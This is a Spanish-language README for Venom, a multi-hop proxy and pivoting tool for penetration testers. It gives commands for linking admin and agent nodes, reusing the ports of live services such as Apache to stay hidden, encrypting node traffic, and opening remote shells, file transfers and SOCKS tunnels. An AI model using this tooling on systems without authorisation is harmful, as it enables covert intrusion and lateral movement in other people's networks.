
Venom - Un proxy de múltiples saltos para probadores de penetración
Venom es una herramienta de proxy multinivel desarrollada en Go diseñada para probadores de penetración.
Venom permite conectar múltiples nodos y utilizar estos nodos como saltos para construir un proxy multinivel.
Los probadores de penetración pueden usar Venom para enrutar fácilmente el tráfico de red a través de múltiples capas de redes internas y gestionar los nodos proxy de manera eficiente.
Esta herramienta está destinada exclusivamente a la investigación de seguridad y la enseñanza; el usuario asume toda la responsabilidad legal y relacionada derivada del uso de esta herramienta. ¡El autor no asume ninguna responsabilidad legal o relacionada!
Dado que los dispositivos IoT (arquitecturas ARM/MIPS/...) suelen tener recursos limitados, los binarios compilados para este proyecto en entornos IoT no admiten la reutilización de puertos ni el túnel SSH. Además, para reducir el uso de memoria, se limita el número de conexiones concurrentes y el tamaño del búfer.
Puede descargar y usar directamente los ejecutables compilados en el release.
Si desea compilar el proyecto desde el código fuente, necesita instalar go >= 1.11 y luego ejecutar los siguientes comandos:
go get -u github.com/Dliv3/Venom/...
# $GOPATH es la variable de entorno configurada al instalar Go; se puede ver con el comando go env
cd $GOPATH/src/github.com/Dliv3/Venom
# Los binarios compilados se guardan en la carpeta release en el directorio actual
./build.sh
Video de demostración en Youtube: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
Tanto el nodo admin como el nodo agent pueden escuchar conexiones o iniciar conexiones
El admin escucha en un puerto, el agent inicia la conexión:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
El agent escucha en un puerto, el admin inicia la conexión:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
El nodo agent soporta reutilización de puertos
El agent proporciona dos métodos de reutilización de puertos:
Con la función de reutilización de puertos de Venom, en Windows se pueden reutilizar puertos de servicios como Apache y MySQL, pero no los de RDP o IIS. En Linux se pueden reutilizar la mayoría de los puertos de servicio. El puerto reutilizado seguirá funcionando normalmente para su servicio original.
Primer método de reutilización de puertos
# Ejemplo con Apache en Windows
# Reutiliza el puerto 80 de Apache sin afectar su servicio HTTP normal
# El valor de -lhost debe ser la IP local; no se puede usar 0.0.0.0, de lo contrario la reutilización falla
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
Segundo método de reutilización de puertos
# Ejemplo con Apache en Linux
# Requiere permisos de root
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
Este método establece reglas iptables en la máquina local para redirigir el tráfico de reuse-port a lport, y luego el agent distribuye el tráfico.
Tenga en cuenta que si el programa termina mediante las señales sigterm o sigint (kill o Ctrl+C), el programa limpiará automáticamente las reglas iptables. Si el agent se mata con kill -9, las reglas iptables no se limpian automáticamente y es necesario hacerlo manualmente, ya que el agent no puede manejar la señal sigkill.
Para evitar que las reglas iptables no se limpien automáticamente e impidan al probador de penetración acceder al servicio en el puerto 80, el segundo método utiliza iptables -m recent para controlar si las reglas de redirección están activas mediante paquetes TCP especiales.
La implementación aquí se basa en https://threathunter.org/topic/594545184ea5b2f5516e2033
# Inicia el agent con las reglas iptables configuradas en la máquina Linux
# Si rhost está en la red interna, se puede usar un proxy SOCKS5 para el tráfico del script; ver más abajo el uso del proxy SOCKS5
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# Conectarse al nodo agent
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# Para desactivar las reglas de redirección
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
Cifrado de comunicación entre nodos
Venom proporciona cifrado de comunicación entre nodos. El usuario puede especificar una contraseña mediante la opción -passwd, que se utiliza para generar la clave de cifrado AES.
# Especifica la contraseña como dlive@dubhe con -passwd
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# El agent especifica la misma contraseña para conectarse al nodo admin
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
help Muestra la ayuda
(admin node) >>> help
help Información de ayuda.
exit Salir.
show Mostrar topología de red.
getdes Ver la descripción del nodo objetivo.
setdes [info] Agregar una descripción al nodo objetivo.
goto [id] Seleccionar id como nodo objetivo.
listen [lport] Escuchar en un puerto en el nodo objetivo.
connect [rhost] [rport] Conectar un nuevo nodo a través del nodo objetivo.
sshconnect [user@ip:port] [dport] Conectar un nuevo nodo a través de un túnel SSH.
shell Iniciar un shell interactivo en el nodo objetivo.
upload [local_file] [remote_file] Subir archivos al nodo objetivo.
download [remote_file] [local_file] Descargar archivos desde el nodo objetivo.
socks [lport] Iniciar un servidor SOCKS5.
lforward [lhost] [sport] [dport] Redirigir un puerto local a un puerto remoto.
rforward [rhost] [sport] [dport] Redirigir un puerto remoto a un puerto local.
show Muestra la topología de red
A representa el nodo admin, los números representan nodos agent.
El siguiente diagrama de topología muestra que el nodo admin tiene conectado el nodo 1, el nodo 1 tiene conectados los nodos 2 y 4, y el nodo 2 tiene conectado el nodo 3.
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
Nota: para operar sobre un nodo recién agregado, primero debe ejecutar el comando show en el nodo admin para sincronizar la topología de red y los números de nodo.
goto Operar en un nodo
(admin node) >>> goto 1
(node 1) >>>
Una vez que haya ido a un nodo, puede usar los comandos que se describen a continuación.